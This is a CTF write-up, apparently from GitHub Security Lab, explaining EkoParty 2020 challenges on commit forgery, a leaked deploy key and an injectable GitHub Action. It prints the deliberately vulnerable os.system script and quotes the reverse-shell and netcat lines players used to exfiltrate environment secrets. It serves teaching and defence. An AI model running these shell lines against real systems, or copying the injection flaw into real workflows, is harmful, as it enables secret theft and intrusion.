The GitHub Security Lab recently contributed a set of challenges to the main Capture The Flag for EkoParty 2020. EkoParty is a popular LATAM information security conference and its CTF always draws the attention of many teams from across the world. This year was no exception, and there were almost 400 active teams participating in the EkoParty CTF, which ran from September 24 to 26.
If you’re not familiar with CTF competitions, they are hacking competitions in which teams of players race each other to complete a set of security-related challenges. These challenges can vary wildly but generally revolve around binary exploitation, cryptanalysis, logic issues, and web application vulnerabilities.
Solving a challenge unlocks a unique flag, which can then be claimed for points with the CTF organizer. The team that submits all the flags first, or has the most points at the completion of the competition, wins.
For this year’s EkoParty CTF, GitHub sponsored the first prize of $1,000USD, and the winning team also received five tickets to the next edition of EkoParty.
Missed the CTF? No problem. In this post we will run through the three GitHub-developed challenges and their solutions, as well as examine some of the lessons learned.
When designing the GitHub challenges, we wanted the player to experience a storyline that was reality-based and exposed them to a variety of GitHub platform features and associated security considerations. Through the challenges, we wanted to tell a story that involved commit attestation, branch protection, GitHub deploy keys, GitHub secret scanning, GitHub Actions, and issue comment edit histories.
The GitHub challenges consisted of three interconnected stages named Leak, Docs, and Env. Out of the hundreds of active teams, 35 were able to solve all three challenges.
Stage 1 - Git history repeats itself
As an entry point to the game, players were presented with a single external GitHub repository at https://github.com/ekoparty2020. This account was created by the GitHub Security Lab team and presented itself as an EkoParty organizers’ (@mattareal) git repository.
We carefully crafted a git commit history using @mattareal’s GitHub email address, which was obtained from their public commit history on their actual account. The GitHub UI will resolve which GitHub user account to display for commits, based on data provided by the committer. As such, it is fairly straightforward to forge a visually convincing commit history that involves arbitrary GitHub accounts.
This isn’t intrinsic to GitHub but rather an artifact of how git itself works. GitHub faithfully renders and displays git commit histories for a given repository but does not control that history itself. This is why we recommend that GitHub users sign their commits.
However, even with signed commits, one could e.g. set the author to be an arbitrary account while retaining a visual verification based on the committer information and signature which you also control. In this case, the commit would appear to be stacked between your legitimate committer account that provides the signing key and the spoofed author account, while still retaining the “verified” mark. This is, again, simply an artifact of how git works, since it treats authors and committers as separate data points.
The main takeaway from this is that git history is entirely malleable. It is not a source of absolute truth. If someone has write privileges on a repo, they can reshape history in any way they see fit. From a security perspective, you can not depend on git histories alone for verification of who originally contributed code or when they did it.
By taking a closer look at this forged commit history, a player would be able to see a commit marked “oops”. This commit contained a leaked secret in the form of a read-only SSH deploy key.
On careful examination, the user@host part of the SSH public key contained a base64 encoded string. When decoded, this string revealed the first flag of the challenge.
Stage 2: Always read the docs!
Having obtained the leaked SSH deploy-key, the player is presented with an interesting conundrum. What does this key give them access to? Players may be tempted to try and use the SSH key to commit directly into the publicly exposed repository, but quickly come to the conclusion that this key does not have write access, or even read access, to the public repo.
Several players attempted to then queue a PR into the public repository in the hopes that they would be automatically merged as part of the game but, unbeknownst to the player, branch protection was enabled for all repositories under the ekoparty2020 account, which prevented any PR’s from being merged without review.
However, by carefully examining the contents of the public repository as well as the README.md the player would be able to observe various references to a second repository, ekoparty-internal.
This reference was a clue for the player to attempt to clone this internal repository using the leaked SSH deploy-key. The deploy-key only provided read access, so this limited the player from taking any further action beyond cloning the internal repository.
By using the GIT_SSH_COMMAND environment variable the player could set an SSH command that would use the obtained SSH private key to clone the internal repository.
GIT_SSH_COMMAND="ssh -o IdentitiesOnly=true -i /tmp/leaked_id_rsa" git clone git@github.com:ekoparty2020/ekoparty-internal.git
The player now obtained a clone of the private repo. When examining its contents they found two things: a .github/workflows directory containing the code for a github action, and a README.md which contained the stage 2 flag.
This is where things got interesting on our end. When verifying that the game was working well right before launch, we received a notification that our leaked deploy-key had been disabled.
This is a feature of GitHub’s secret scanning, which continuously checks repositories across the GitHub platform for leaked secrets. In our case, secret scanning had picked up the leaked SSH deploy-key when we took the game live by making the game repo public, and it proactively disabled the key.
Luckily (for us) GitHub allows you to explicitly re-enable the key verification in case of a false positive, so we were able to keep the game up and running without further issue. It was great to see secret scanning work so rapidly!
Stage 3: An environmental call to action!
The third and final stage of the challenge revolved around GitHub Actions.
GitHub Actions places powerful, flexible automation directly into the developer workflow, enabling teams to automate nearly everything, including software builds, testing, and deployment. GitHub Actions are run on ephemeral Virtual Machines with API access to the GitHub repository that triggered the Action. Actions can be triggered by a variety of repo events.
The Action VM environment contains an API token (GITHUB_TOKEN) that allows it to interact with your repository via the GitHub API. This token is valid for the runtime of the Action. You can also populate the Action environment with additional custom secrets using repo encrypted secrets.
The GitHub Marketplace contains a wide collection of Actions that provide all sorts of CI/CD functionality. Because Actions runners are essentially VMs with the runner application running your code, writing your own actions is pretty straightforward. You are not constrained to any specific language or tooling ecosystem, and while a lot of users prefer to use e.g. NodeJS based actions, as supported by the official GitHub Action API, you are free to implement Actions in whatever way you see fit.
Because Actions juggle repository secrets, you should carefully consider any third-party Actions that you decide to integrate into your GitHub workflows, with the understanding that this third-party code will have full API access to your GitHub repository.
There is a set of Actions security best practices that is essential reading to anyone deploying GitHub Actions in their pipeline. We highly recommend you take recommendations such as careful audits of third party code, full SHA pinning, and proper integration of any custom secrets into Action workflows to heart.
Integrating an Action into your repository is as simple as adding a .github/workflows directory and creating a YAML file that describes the Action. The YAML will specify which GitHub repo event should trigger the action, and what the actual steps for the Action itself are.
GitHub Free accounts come with 2000 free Action minutes per month and Pro accounts receive 3000 free minutes. Action minutes are measured in terms of the processing time for the ephemeral VMs processing your Actions.
Both the private ekoparty-internal and the public ekolabs game repositories contained a GitHub Action. These Actions were designed to work together to take any issues filed on the public repository and replicate them on the internal repository.
The public repository action script receiving the public issue open events read as follows:
#!/usr/bin/env python3
# a simple way to make public issues private so people can report any issues to us in private
import os
import sys
import re
import hashlib
import time
import sh
from github import Github
def getenv(name):
val = os.environ.get(name)
if val == None:
raise ValueError(f'No such environment variable: {name}')
return val
def run():
# pull our repo access
src_repo = Github(getenv('SRC_REPO_TOKEN')).get_repo(getenv('GITHUB_REPOSITORY'))
dst_repo = Github(getenv('DST_REPO_TOKEN')).get_repo(getenv('DST_REPO')) # bounce to ekoparty-internal
# pull the src issue
src_issue_id = int(getenv('SRC_REPO_ISSUE'))
src_issue = src_repo.get_issue(src_issue_id)
# bounce a comment back to the src issue
src_issue.create_comment('Thank you for submitting a staff report! This issue will be filed to the internal ekoparty2020 staff repo and triaged ASAP!')
# bounce the issue through to the internal repo
dst_repo.create_issue(title=src_issue.title, body=src_issue.body, labels=[dst_repo.get_label('Staff Report')])
# update the source issue title and make contents private
src_issue.edit(title="This issue has been filed with staff internal repo! Thanks!", body='', state='closed')
return 0
try:
sys.exit(run())
except Exception as e:
print("Error: {0}".format(e))
sys.exit(1)
After bouncing the issue from public to private, the public copy of the issue got rewritten by the public action and the private copy of the issue got filed for further processing by the private action while also setting the “Staff Report” label.
If the player successfully solved stage 2 and was able to clone the internal repository, they would then find the following private repo Action YAML at .github/worfklows/issue-notify.yml:
name: Trigger an external notification for Staff Reports
on:
issues:
types: [opened]
jobs:
issue-label-check:
runs-on: ubuntu-latest
steps:
- name: Check trigger label
if: ${{ !contains(github.event.issue.labels.*.name, 'Staff Report') }}
run: |
echo "No trigger label found, aborting workflow (not an error!)"
exit 1
- name: Set up Python3
if: ${{ success() }}
uses: actions/setup-python@v1
with:
python-version: "3.7"
- name: Checkout this repo
if: ${{ success() }}
uses: actions/checkout@v2
with:
persist-credentials: false
- name: Run the python3 script for this action
if: ${{ success() }}
env:
REPORT_TOKEN: ${{ secrets.REPORT_TOKEN }}
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_BODY: ${{ github.event.issue.body }}
# allowed to run 1 minute before killing
timeout-minutes: 1
run: |
# external report to internal report
pip3 install pyGithub
pip3 install sh
python3 .github/workflows/issue-notify.py
This YAML configuration specifies that the private repo action should run on any issue creation events, and that the first step in the action is to check that the issue contains the “Staff Report” label. If this label exists, it will then set up a Python3 environment, check out the source repository, and run the Python3 script contained in the repository at .github/workflows/issue-notify.py with a customized environment. This customized environment contains a repo secret secrets.REPORT_TOKEN in the REPORT_TOKEN environment variable.
References to third-party actions are generally just direct GitHub repository references. For example, the Python setup step in our game Action YAML references an external Action that lives at https://github.com/actions/setup-python. In our case the Action was pinned to a specific tag (@v1).
Tag based pinning of Actions is only recommended for Actions that you explicitly trust, as it is entirely possible for a remote repository to switch out the actual Action code for a specific tag. If you want to explicitly pin a third party Action to a specific version of its code, you can employ full SHA-1 based pinning of the Action as outlined in the aforementioned security guidelines.
If you’re still concerned about potential shenanigans based on third-party Action code, you can also fork the Action repo and host your own copy of the Action code. You would maintain future updates to the forked Action just like you would with any other forked repo with pending upstream updates.
Players that got to this point will most likely have figured out that their goal is to exfiltrate this REPORT_TOKEN secret from the private Action environment.
To achieve this goal, they have to perform an audit of the Action code itself, which is contained in the issue-notify.py script.
#!/usr/bin/env python3
import os
import sys
import time
import uuid
import sh
from github import Github
def getenv(name):
val = os.environ.get(name)
if val == None:
raise ValueError(f'No such environment variable: {name}')
return val
def issue_notify(title, body, repo):
# just echo the body into the report repo at /tmp and our scraper script will pick them up and mail them out to staff@
notify_id = str(uuid.uuid4())
# only notify on very important issues to reduce spam!
if 'very important' in title:
os.system('echo "%s" > /tmp/%s' % (body, notify_id))
return
def run():
issue_notify(getenv('ISSUE_TITLE'), getenv('ISSUE_BODY'), Github(getenv('REPORT_TOKEN')))
return
try:
sys.exit(run())
except Exception as e:
print("Error: {0}".format(e))
sys.exit(1)
By closely reading the issue_notify function, the player will notice that there exists a straightforward command injection vulnerability in the processing of the issue body contents. However, the vulnerability is only triggered if the issue title contains the phrase “very important”. We introduced this complication to make it harder to solve the third stage without solving the second stage first.
So the third stage vulnerability is that players can create issues on the public repository and that the contents of those issues are processed in an unsafe way by an Action in the private repo.
Players could execute arbitrary commands in the private repo Action environment by filing an issue that looked something like:
The “ closes the original echo argument string, the ; indicates the start of a new command, and the # will comment out any trailing data from the original command, effectively running $ echo “”; echo “I am an arbitrary command” #” > /tmp/uuid inside the Action VM.
Final exploitation then becomes a matter of personal preference. We observed many different approaches to exfiltrating the token from the Action runtime environment. From simple environment exfils via netcats to a listening TCP port (e.g. printenv | netcat host port), to full interactive reverse shells using the Python interpreter.
In the latter case, because the Action runtime for the script execution step was limited to one minute, the player would only have an active shell for a minute or less.
Many teams attempted to use Bash’s /dev/tcp pseudo-device file to open reverse shells (e.g. bash -i >& /dev/tcp/host/port 0>&1). But if we recall, the command injection ran through Python’s os.system which calls out to /bin/sh which on our Ubuntu based Actions runner is linked to /bin/dash. Since Dash does not support /dev/tcp those attempts would fail. For a /dev/tcp based reverse shell to work in our scenario the injection would have to be pushed through Bash explicitly with e.g. bash -c "bash -i >& /dev/tcp/host/port 0>&1".
One interesting trend we noticed was many teams utilizing modern webhook and API tunneling services such as https://ngrok.io for their reverse shells and data exfiltration. Ultimately 35 teams managed to successfully exfiltrate the flag and solve the third and final stage of the challenge.
Stage 3.5: The internet remembers!
An alternative solution for stage 3 was to take advantage of the edit histories of GitHub issues. In 2018 GitHub introduced comment edit histories for issue comments. This means that the original contents of comments is retained even after comments are edited, and they can be viewed via the edit history dropdown. You can delete issue comment edits, but not edits of the main issue body.
If you recall, the challenge issue bouncer would rewrite and then close the public issue, providing the illusion that the original contents of the issue were removed. However, a crafty competitor would be able to simply poll closed issues on the public repository and monitor their edit histories to piggyback on the stage 3 solution of another player.
Surprisingly enough, this did not end up becoming a widespread approach to the third stage challenge (as far as we could tell). We suspect this is mostly due to the high amounts of random issue creation attempts in between valid solutions that introduced a fair bit of noise into the public issue tracker. Combined with the “very important” title requirement, the significance of which is not overtly apparent unless a player had actually solved stage 2 and obtained the source code for the vulnerable action. We definitely saw some piggyback attempts, but most of them missed the significance of the title requirement and would create issues with valid payloads but invalid titles.
Having said that, comment edit histories are easily overlooked, and if you ever find yourself in a situation where you had to edit out sensitive information from an issue comment, make sure you also delete the edit history!
Closing words
CTF competitions are a great way to get hands-on experience with vulnerability research in a team environment. Most CTFs will provide challenges for all levels of players and the gamified nature of the challenges keeps you motivated to push forward and learn about new things outside of your comfort zone. The CTF scene is very active and you can find events to participate in on sites such as https://ctftime.org.
We had a lot of fun creating and monitoring the GitHub levels for the EkoParty 2020 CTF. We would like to thank the EkoParty organizers for a smooth collaboration process as well as the Null-Life team for running such a robust game infrastructure. Finally, thank you to all the participants for playing and a big felicidades to the Sexy-AllPacks for their first place victory!